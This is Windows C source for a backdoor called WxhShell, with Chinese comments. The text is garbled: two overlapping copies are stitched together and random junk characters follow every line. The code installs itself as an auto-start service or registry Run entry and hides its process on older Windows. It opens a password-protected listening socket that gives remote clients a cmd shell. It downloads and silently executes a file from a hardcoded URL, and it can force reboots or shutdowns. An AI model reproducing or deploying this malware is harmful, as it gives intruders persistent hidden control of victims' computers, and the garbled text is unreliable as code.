    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9-)D"ZhLe  
    if(Boot(SHUTDOWN))  # Vz9j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wYnsd7@I  
    else { tRU+6D <w  
    closesocket(wsh); Xq`|'6]/  
    ExitThread(0); [<m1xr4"k  
    } (S/f!Dk&3  
    break; rUjK1A{V  
    } {qO[93yg)/  
  // 获取shell J#DYZ>}Y  
  case 's': { DiMkcK_e  
    CmdShell(wsh); {@K>oaZ  
    closesocket(wsh); ql, k5.l  
    ExitThread(0); #" {wm  
    break; 4%L`~J4 wr  
  } 3 @XkO  
  // 退出 JWhi*je  
  case 'x': { 6Yw;@w\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;Z]i$Vi_r  
    CloseIt(wsh); LQ T^1|nq  
    break; dh r)ra]  
    } /wplP+w2  
  // 离开 uan%j]|q%  
  case 'q': { 1} 1.5[4d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &2-dZK  
    closesocket(wsh); dg[ &5D1Q  
    WSACleanup(); GSzb  
    exit(1); eZes) &4  
    break; K|Sh  
        } yVQ0;h  
  } r;}%} /IX  
  } yhzC 9nTH  
jWHv9XtW  
  // 提示信息 ;.$AhjqiP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9[yW&t;#  
} J3Ipk-'lx  
  } '1'#,u!  
bgD4;)?5b  
  return; u#9H  
} z ((Y\vP  
^P30g2gv>  
// shell模块句柄 ?N*m2rv  
int CmdShell(SOCKET sock) * E$&  
{ `[) awP  
STARTUPINFO si; fTb&k;'LR<  
ZeroMemory(&si,sizeof(si)); ;2Aqztp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9!CD25u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "u#,#z_  
PROCESS_INFORMATION ProcessInfo; A HnXN%m  
char cmdline[]="cmd"; tf1iRXf8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?K5S{qG'O  
  return 0; %x(||cq  
} TsiI5'tx  
L\)GPTo!x  
// 自身启动模式 -M\ae  
int StartFromService(void) l X g.`  
{ |HT5G=dw  
typedef struct bU$4"_eA B  
{ HLYog+?  
  DWORD ExitStatus; )DR/Xu;b  
  DWORD PebBaseAddress; Ql2zC9C  
  DWORD AffinityMask; T#M_2qJ1=  
  DWORD BasePriority; = Ob-'Syg>  
  ULONG UniqueProcessId; H3Ws$vl9n  
  ULONG InheritedFromUniqueProcessId; 5?] Dn k.o  
}   PROCESS_BASIC_INFORMATION; qYba%g9RN(  
=}F}XSvXH  
PROCNTQSIP NtQueryInformationProcess; mz-sazgV  
92F 9)S{"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W}6OMAbsE;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ya`Z eQ-p  
7{W#i<W  
  HANDLE             hProcess; A,PF#G(  
  PROCESS_BASIC_INFORMATION pbi; zG^|W8um_  
h#:_GNuF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rt8"U <~  
  if(NULL == hInst ) return 0; AHB_[i'>7  
~DJILc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @IE.@1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /#Fz K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c^F@9{I  
>;s!X(6 b  
  if (!NtQueryInformationProcess) return 0; $cSmubZK  
u.yjk/jF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I+GP`=\  
  if(!hProcess) return 0; /#Gm`BT  
->9waXRDz)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e'dx Y(  
xofxE4.  
  CloseHandle(hProcess); '/U%-/@  
{3@"}Eh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r?%,#1|$$  
if(hProcess==NULL) return 0; !Bu=?gf  
7X{@$>+S  
HMODULE hMod; ;659E_y>  
char procName[255]; M`D`-vv  
unsigned long cbNeeded;  i|!D  
wl N l|+ K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oAt{ #v  
VJbn/5+P  
  CloseHandle(hProcess); Ha/Gn !l  
dUc?>#TU  
if(strstr(procName,"services")) return 1; // 以服务启动 BJP^?FUd=,  
yD yMI  
  return 0; // 注册表启动 LZ4Z]!V  
} ijeas<  
1SG^g*mf  
// 主模块 5?HoCz]l  
int StartWxhshell(LPSTR lpCmdLine) AVO$R\1YR  
{ .2f0e[J  
  SOCKET wsl; S<o\.&J  
BOOL val=TRUE; 2PViY,V|  
  int port=0; k/m-jm_h  
  struct sockaddr_in door; 5e >qBw8t  
UNCI"Mjb  
  if(wscfg.ws_autoins) Install(); F3=iyiz6  
'/GZ/$a_l  
port=atoi(lpCmdLine); &eFv~9  
K*aGz8N  
if(port<=0) port=wscfg.ws_port; *kq>Z 06'i  
w1,6%?p(O  
  WSADATA data; bnxR)b~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iX6'3\Q3A  
t }>"nr0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p K hV<MFB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x}7`Q:k=  
  door.sin_family = AF_INET; :rnj>U6<>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9V?:!%J  
  door.sin_port = htons(port); 7b hJt_`Q  
%)}y[ (  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .ZVo0  
closesocket(wsl); K)nn;j=  
return 1; KBa   
} GcHZ&m4  
oF=UjA  
  if(listen(wsl,2) == INVALID_SOCKET) { (T8dh|  
closesocket(wsl); o0FVVSl  
return 1; } !1pA5x$  
} k(R&`  
  Wxhshell(wsl); &)F# cVB  
  WSACleanup(); C^9bur/  
"dFuQB  
return 0; \"=b8x  
S1E=EVG  
} nhI1`l&  
T)#eaz$4W  
// 以NT服务方式启动 B$&&'i%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1ZRSeh  
{ nI<Ab_EB  
DWORD   status = 0; Jsw%.<  
  DWORD   specificError = 0xfffffff; BV512+M  
{+x;J4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fy-|E>@]D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JTfG^Nv>K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cP &XkAQ  
  serviceStatus.dwWin32ExitCode     = 0; 6),VN>j  
  serviceStatus.dwServiceSpecificExitCode = 0; pb=yQ}.  
  serviceStatus.dwCheckPoint       = 0; 707-iLkt.1  
  serviceStatus.dwWaitHint       = 0; ~4C:2  
[cvtF(,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WJ m:?,  
  if (hServiceStatusHandle==0) return; EP}NT)z,{  
&Ez]pKjB  
status = GetLastError(); E@D}Sqt  
  if (status!=NO_ERROR) D$/*Z5Z)]  
{ rulw6vTB(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b8TwV_&|X  
    serviceStatus.dwCheckPoint       = 0; O*y@4AR"S  
    serviceStatus.dwWaitHint       = 0; 4&/m>%r  
    serviceStatus.dwWin32ExitCode     = status; HA::(cXL  
    serviceStatus.dwServiceSpecificExitCode = specificError; >2@ a\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3FpSo+  
    return; z{ydP Ra  
  } n 2m!a0;  
eK'ztqQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (N`x  
  serviceStatus.dwCheckPoint       = 0; (&ABfm/t  
  serviceStatus.dwWaitHint       = 0; Nw|m"VLb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s2M|ni=  
} Ri&?uCCM  
GPVqt"TY  
// 处理NT服务事件,比如:启动、停止 a<ztA:xt|1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 268H!'!\  
{ RmcQGQ  
switch(fdwControl) zMW[Xx!  
{ hY-;Vh0J  
case SERVICE_CONTROL_STOP: a54qv^IS  
  serviceStatus.dwWin32ExitCode = 0; KWB;*P C^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (XJ0?;js=  
  serviceStatus.dwCheckPoint   = 0; qD?-&>dBWi  
  serviceStatus.dwWaitHint     = 0; oiY&O]}  
  { K%/:V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c<J/I_!  
  } .<|.nK`6  
  return; ("$ ,FRTQ:  
case SERVICE_CONTROL_PAUSE: Z_Z; g]|!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rr0@F`"R  
  break; b3RCsIz  
case SERVICE_CONTROL_CONTINUE: 8>y!=+9_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D%=FCmL5@=  
  break; (aa}0r5  
case SERVICE_CONTROL_INTERROGATE: 39zwPoN>  
  break; !p#+I=  
}; qe\JO'g#e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |rg4 j  
} bPHqZ*f  
=TzmhX5  
// 标准应用程序主函数 y@?t[A#v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RN"O/b}qQ  
{ #lHA<jI  
*MBu5 +u%e  
// 获取操作系统版本 %Z#s9QC  
OsIsNt=GetOsVer(); fqcFfz6?x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %]15=7#'y  
a~nErB  
  // 从命令行安装 +~~&FO2  
  if(strpbrk(lpCmdLine,"iI")) Install(); LAT%k2%Wx  
JO `KNI  
  // 下载执行文件 [c=T)]E1  
if(wscfg.ws_downexe) { klKd !  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ].C4RH  
  WinExec(wscfg.ws_filenam,SW_HIDE); uK5&HdoM  
} O5:2B\B  
X\a*q]"_  
if(!OsIsNt) { |d B`URP  
// 如果时win9x,隐藏进程并且设置为注册表启动 '"/Yk=EmlU  
HideProc(); '`K-rvF,C  
StartWxhshell(lpCmdLine); ,GH;jw)P  
} =/b WS,=  
else 7kZ-`V|\.  
  if(StartFromService()) O0Vtvbj  
  // 以服务方式启动 Ym WVb  
  StartServiceCtrlDispatcher(DispatchTable); UJWkG^?  
else }9qbF+b  
  // 普通方式启动 RrPo89o  
  StartWxhshell(lpCmdLine); _FJ,, /~  
3bGJ?hpp  
return 0; #s-^4znv9  
} W=9Zl(2C  
69o,T`B  
n4YedjHSN  
E(;V.=I  
=========================================== *61+Fzr  
X}/{90UD  
p? dXs^ c  
aq|R?  
o?Wp[{K  
2'38(wXn#  
" 45u\v2,C3  
p..O;_U  
#include <stdio.h> ygvX}q  
#include <string.h> ;0R>Dg  
#include <windows.h> _7O;ED+  
#include <winsock2.h> i"h '^6M1  
#include <winsvc.h> 99\;jz7  
#include <urlmon.h> @LzqQ [  
 ;m;a"j5  
#pragma comment (lib, "Ws2_32.lib") a*pwVn  
#pragma comment (lib, "urlmon.lib")  fn1G^a=  
XM+o e0:[  
#define MAX_USER   100 // 最大客户端连接数 7q'_]$  
#define BUF_SOCK   200 // sock buffer cNX0.7Ls  
#define KEY_BUFF   255 // 输入 buffer T.fmEl  
RcASFBNpS  
#define REBOOT     0   // 重启 wO&edZ]zb^  
#define SHUTDOWN   1   // 关机 me#?1r  
Y SvZ7G(m>  
#define DEF_PORT   5000 // 监听端口 0{8^)apII  
=*AAXNs@3  
#define REG_LEN     16   // 注册表键长度 yC]xYn)  
#define SVC_LEN     80   // NT服务名长度 f?ImQYqP  
uA} w?;  
// 从dll定义API 6(Qr!<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H9x,C/r,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ha;Xali ]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lqt.S|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;>eD`Wh  
N(%%bHi#V  
// wxhshell配置信息 \WDL?(G<  
struct WSCFG { =5UT'3p>  
  int ws_port;         // 监听端口 )w{bT]   
  char ws_passstr[REG_LEN]; // 口令 t3#My2=  
  int ws_autoins;       // 安装标记, 1=yes 0=no YpAJ7 E|7  
  char ws_regname[REG_LEN]; // 注册表键名 IZ$7'Mo86  
  char ws_svcname[REG_LEN]; // 服务名 d$3;o&VUNI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ];-DqK'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uB(16|W>S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UN~dzA~V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vZgV/?'z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nh I&wl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K/2k/\Jk[_  
aUdbN&G  
}; NZJ:@J=-  
$`2rtF  
// default Wxhshell configuration ^4+ew>BLSv  
struct WSCFG wscfg={DEF_PORT, KuU]enC3  
    "xuhuanlingzhe", Vvth,  
    1, KjrUTG0oA  
    "Wxhshell", x>>#<hOz[  
    "Wxhshell", h,Y!d]2w  
            "WxhShell Service", A`=;yD  
    "Wrsky Windows CmdShell Service", pjC2jlwm*  
    "Please Input Your Password: ", 02Ftn&bi  
  1, iqzl(9o.D  
  "http://www.wrsky.com/wxhshell.exe", (M1HNIM;(  
  "Wxhshell.exe" 6.o8vC/PZ  
    }; S$CO T)7  
TZ`@pDi  
// 消息定义模块 `1cGb*b/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?_\t7f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Lx{bR=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i6"/GSA  
char *msg_ws_ext="\n\rExit."; C~do*rnM^  
char *msg_ws_end="\n\rQuit."; j@kL`Q\&I  
char *msg_ws_boot="\n\rReboot..."; }Pm>mQZ},  
char *msg_ws_poff="\n\rShutdown..."; Wq bfZx  
char *msg_ws_down="\n\rSave to "; +3HukoR(  
| HkLl^  
char *msg_ws_err="\n\rErr!"; 0yI1r7yNB+  
char *msg_ws_ok="\n\rOK!"; *kl  :/#  
.PUp3X-  
char ExeFile[MAX_PATH]; :]m.&r S,  
int nUser = 0; 2+ cs^M3  
HANDLE handles[MAX_USER]; WYUDD_m  
int OsIsNt; dWvVK("Wj  
-{xk&EB^$5  
SERVICE_STATUS       serviceStatus; 4\Y5RfLB_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zl|z4j'Irc  
v\Uk?V5T  
// 函数声明 Kf[d@ L  
int Install(void); `x`[hJ?i  
int Uninstall(void); 00QJ596  
int DownloadFile(char *sURL, SOCKET wsh); ){5Nod{}a  
int Boot(int flag); I4X9RYB6c  
void HideProc(void); ZNX38<3h  
int GetOsVer(void); TmQIpeych  
int Wxhshell(SOCKET wsl); qUkM No3  
void TalkWithClient(void *cs); Hsf::K x  
int CmdShell(SOCKET sock); `OBzOM  
int StartFromService(void); 'BjTo*TB]Z  
int StartWxhshell(LPSTR lpCmdLine); ?BnU0R_r]  
:}lqu24K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lT^su'+bk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aixX/se  
YA4D?'  
// 数据结构和表定义 ]dpL PR  
SERVICE_TABLE_ENTRY DispatchTable[] = uZ!YGv0^  
{ !*N9PUM  
{wscfg.ws_svcname, NTServiceMain}, s<9g3Gh  
{NULL, NULL} P=QxfX0B  
}; tJ\ $%  
ysW})#7X  
// 自我安装 {{?g%mQ6  
int Install(void) lK0ny>RB  
{ r7m~.M+W"  
  char svExeFile[MAX_PATH]; 'a ['lF  
  HKEY key; \CL8~  
  strcpy(svExeFile,ExeFile); 4ba*Nc*Yc  
ZEP?~zV\A  
// 如果是win9x系统,修改注册表设为自启动 BzzC|  
if(!OsIsNt) { m\L`$=eO8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~dYCY_a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `\kihNkJn3  
  RegCloseKey(key); y6XOq>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [n2B6Px  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HN7CcE+l  
  RegCloseKey(key); [FO4x`  
  return 0; =@HS  
    } !6!)H8rX  
  } {M]_]L{&7  
} `2mddx8  
else { X0lPRk53(  
A~?M`L>B  
// 如果是NT以上系统,安装为系统服务 .H" ?& Mf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hsC T:1i  
if (schSCManager!=0) qX\*l m/l  
{ wPlM= .Hq?  
  SC_HANDLE schService = CreateService -@pjEI  
  ( 8dGsV5"*  
  schSCManager, C8U3+ s  
  wscfg.ws_svcname, <J/ =$u/  
  wscfg.ws_svcdisp, b}[S+G-9W  
  SERVICE_ALL_ACCESS, 1[%3kY-h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }Q\%tZC#T  
  SERVICE_AUTO_START, tW\yt~q,  
  SERVICE_ERROR_NORMAL, )l3Uf&v^f  
  svExeFile, dljE.peL  
  NULL, Q Be6\oq  
  NULL, PTQ#8(_,  
  NULL, l2D*b93  
  NULL, FY1iY/\Cn  
  NULL 0dch OUj  
  ); _D '(R  
  if (schService!=0) T[oC='I+O  
  { 2~4:rEPJ:  
  CloseServiceHandle(schService); }A)\bffH  
  CloseServiceHandle(schSCManager); Pvxb6\G&d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ['d9sEv.  
  strcat(svExeFile,wscfg.ws_svcname); G@]3EP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~tDYo)hH8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8q2a8I9g  
  RegCloseKey(key); 8=8 hbdy;  
  return 0; kSAVFzUS  
    } NR4+&d  
  } /bo}I-<2  
  CloseServiceHandle(schSCManager); ,}oAc  
} ,81%8r  
} cgnNO&  
'Y 38VOI%  
return 1; $7x2TiAL  
} !/FRL<mp  
7'0Vb !(  
// 自我卸载 G|6qL  
int Uninstall(void) BWt`l,nF  
{ mZ)>^.N6  
  HKEY key; $8tk|uh  
#<{v~sVp&  
if(!OsIsNt) { {6i|"5_j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H 4<"+7  
  RegDeleteValue(key,wscfg.ws_regname); JZ5k3#@e  
  RegCloseKey(key); ?qh-#,O9B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |]\zlH"w  
  RegDeleteValue(key,wscfg.ws_regname); }7 N6n Zj`  
  RegCloseKey(key); l;-Ml{}|0  
  return 0; .. `I <2  
  } |T:R.=R$~  
} VotC YJ  
} \"lz,bT  
else { Sd7jd?#9'  
6VW *8~~Xy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I}C2;[aB  
if (schSCManager!=0) \}Q=q$)  
{ 09kR2(nsW/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n0(Q/  
  if (schService!=0) H0l1=y  
  { EPm~@8@"j?  
  if(DeleteService(schService)!=0) { l\<.*6r  
  CloseServiceHandle(schService); L2H  
  CloseServiceHandle(schSCManager); w~ Tg?RH:  
  return 0; d$!Q6ux;  
  } WzIUHNn'I  
  CloseServiceHandle(schService); b:==:d:0s  
  } mjeJoMvN)H  
  CloseServiceHandle(schSCManager); !%>RHh[  
} qC`}vr|Z  
} =2\2Sp  
PTe L3L  
return 1; Z?)g'n  
} 0jTReY-W  
j|!,^._i  
// 从指定url下载文件 ;;0'BdsL`  
int DownloadFile(char *sURL, SOCKET wsh) IeYYG^V<A  
{ [ZWAXl $  
  HRESULT hr; dq 93P%X24  
char seps[]= "/"; ">}6i9o  
char *token; (&}[2pb!  
char *file; hGtz[u#p  
char myURL[MAX_PATH]; "*d6E}wG  
char myFILE[MAX_PATH]; &8$v~  
\<{a=@_k9  
strcpy(myURL,sURL); sfF~k-  
  token=strtok(myURL,seps); {JE [  
  while(token!=NULL) '=dQ$fs  
  { mnm ZO}   
    file=token; DY2*B"^  
  token=strtok(NULL,seps); 8t!jo.g  
  } o=rR^Z$G   
h/EIFve  
GetCurrentDirectory(MAX_PATH,myFILE); t;* zr*  
strcat(myFILE, "\\"); b A+_/1C  
strcat(myFILE, file); <6UXk[y  
  send(wsh,myFILE,strlen(myFILE),0); 4*XNk;Dx  
send(wsh,"...",3,0); X4%uY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H^d?(Svh  
  if(hr==S_OK) Rqe. =+Qs  
return 0; &5W;E+Pub  
else M<-Q8 a~  
return 1; <K CI@  
T]th3*  
} Skr (C5T  
HVa9b;  
// 系统电源模块 JSL&` `  
int Boot(int flag) !v8R(  
{ "xlR>M6e  
  HANDLE hToken; tVG;A&\,6  
  TOKEN_PRIVILEGES tkp; 5zK,(cF0-  
z|pt)Xl  
  if(OsIsNt) { yrxX[Hg?@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wV )\M]@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 48:xvTE?N  
    tkp.PrivilegeCount = 1; \,13mB6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SH)-(+72d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ta\F~$M  
if(flag==REBOOT) { .i*oZ'[X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;"M6}5dQ4  
  return 0; 8H7#[?F  
} 8&JB_%Gb  
else { 5aaM;45C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w"{DLN[Qw  
  return 0; 9J/[7TzSZ  
} 3dN`Q:1R9  
  } &g;!n&d zP  
  else { p_I^7 $  
if(flag==REBOOT) { e]VW\ 6J&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b-ss^UL  
  return 0; @k i|# ro  
} _eGYwBm  
else {  v@EErF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GL?b!4xx  
  return 0; Erw1y,mF  
} NF0_D1Goi  
} t`B@01;8A  
sSU|N;"Y  
return 1; DKf(igw  
} sJZ2e6?n  
P")I)> Q6  
// win9x进程隐藏模块 j!agD_J  
void HideProc(void) Z"VP<-  
{ V8/4:Va7 s  
Xf4~e(O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u)<]Pb})r  
  if ( hKernel != NULL ) V;eaQ  
  { 9s<4`oa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a,Pw2Gcid  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;qaPK2 a8  
    FreeLibrary(hKernel); OjhX:{"59  
  } x|m9?[ !_  
t#"0^$l=  
return; D^4nT,&8  
} S OI=~BGd)  
Z5Lmg  
// 获取操作系统版本 F q~uuQ  
int GetOsVer(void) ,!_6X9N-h  
{ l_}d Q&R  
  OSVERSIONINFO winfo; n5=U.r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); di/Q Jrw  
  GetVersionEx(&winfo); 6C VH)=%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0Agse)  
  return 1; e@vtJaSu  
  else %)7t2D  
  return 0; !p+54w\ 2  
} E[t0b5h  
Imv#7{ndq  
// 客户端句柄模块 )'~Jsg-  
int Wxhshell(SOCKET wsl) d%|l)JF*5  
{ "jAd.x?X7e  
  SOCKET wsh; Kn:Ml4[;  
  struct sockaddr_in client; 7(1`,Y  
  DWORD myID; \'Ae,q|w  
8GP17j  
  while(nUser<MAX_USER) o,WjM[e  
{ _CHzwNU  
  int nSize=sizeof(client); @?<[//1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R` < ^/h  
  if(wsh==INVALID_SOCKET) return 1; fz^j3'!\  
|BFzTz,o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N#l2wT  
if(handles[nUser]==0) RKP, w %  
  closesocket(wsh); y2I7Zd .  
else XY| y1L 3[  
  nUser++; Jx5`0?  
  } h&i*=&<HP6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); upuN$4m&{  
nmU1xv_  
  return 0; M?lh1Yu"  
} nq{/fD(2  
i"G'#n~e  
// 关闭 socket -qj[ck(y  
void CloseIt(SOCKET wsh) =3X>Ur  
{ !uGfS' Vl  
closesocket(wsh); OL 0YjU@  
nUser--; I uxf`sd  
ExitThread(0); &q>8D'  
} T2Yf7Szp  
V#oz~GMB  
// 客户端请求句柄 B4b'0p  
void TalkWithClient(void *cs) `0NU c)`  
{ :dt[ #  
Ow4_0l&  
  SOCKET wsh=(SOCKET)cs; (%fQhQ  
  char pwd[SVC_LEN]; .rK0C)  
  char cmd[KEY_BUFF]; *|=D 0  
char chr[1]; #tR:W?!  
int i,j; NTt4sWP!I  
zufphS|  
  while (nUser < MAX_USER) { )5b_>Uy  
|Ml~Pmpp  
if(wscfg.ws_passstr) { K(?V]Mxl6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /f[Ek5/-0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NIQ}A-b  
  //ZeroMemory(pwd,KEY_BUFF); iL;V5|(sb  
      i=0; "0!h- bQN  
  while(i<SVC_LEN) { "IU}>y>J  
B!Wp=9)G  
  // 设置超时 Ixn|BCi60A  
  fd_set FdRead; ?V2P]|  
  struct timeval TimeOut; zls^JTE  
  FD_ZERO(&FdRead); ~ =u8H  
  FD_SET(wsh,&FdRead); rT` sY  
  TimeOut.tv_sec=8; kx(beaf  
  TimeOut.tv_usec=0; iAH,f5T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9Vm aB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PaSwfjOnqr  
%d+Fq=<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z@euO~e~  
  pwd=chr[0]; >3/ mV<g f  
  if(chr[0]==0xd || chr[0]==0xa) { _5Lcr)  
  pwd=0; d`= ~8`  
  break; V<9L-7X 8  
  } ~S('\h)1  
  i++; eI ( S)q  
    } (LK@w9)i;  
fR[8O\U~  
  // 如果是非法用户,关闭 socket zCJ"O9G<V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q qF<HCO  
} q%G[tXw  
=-oP,$k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lz1KDXr`)+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GgE g(AT  
qK$O /g,  
while(1) { )s>|;K{  
5{yg  
  ZeroMemory(cmd,KEY_BUFF); sFZdj0tQ4  
fa]8v6  
      // 自动支持客户端 telnet标准   Vl$RMW@Ds  
  j=0; dXDyY  
  while(j<KEY_BUFF) { OD}Uc+;K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J PTLh{/  
  cmd[j]=chr[0]; +On2R&m  
  if(chr[0]==0xa || chr[0]==0xd) { s[7$%|~W  
  cmd[j]=0; #*:1Ch]B  
  break; .~I:Hcf/  
  } oTvg%bX  
  j++; )Jvo%Y  
    } JVg}XwR  
Fdl0V:<  
  // 下载文件 1g=T"O&=  
  if(strstr(cmd,"http://")) { v3[ZPc;;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E<LH-_$  
  if(DownloadFile(cmd,wsh)) Ox ,Rk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WMKxGZg"  
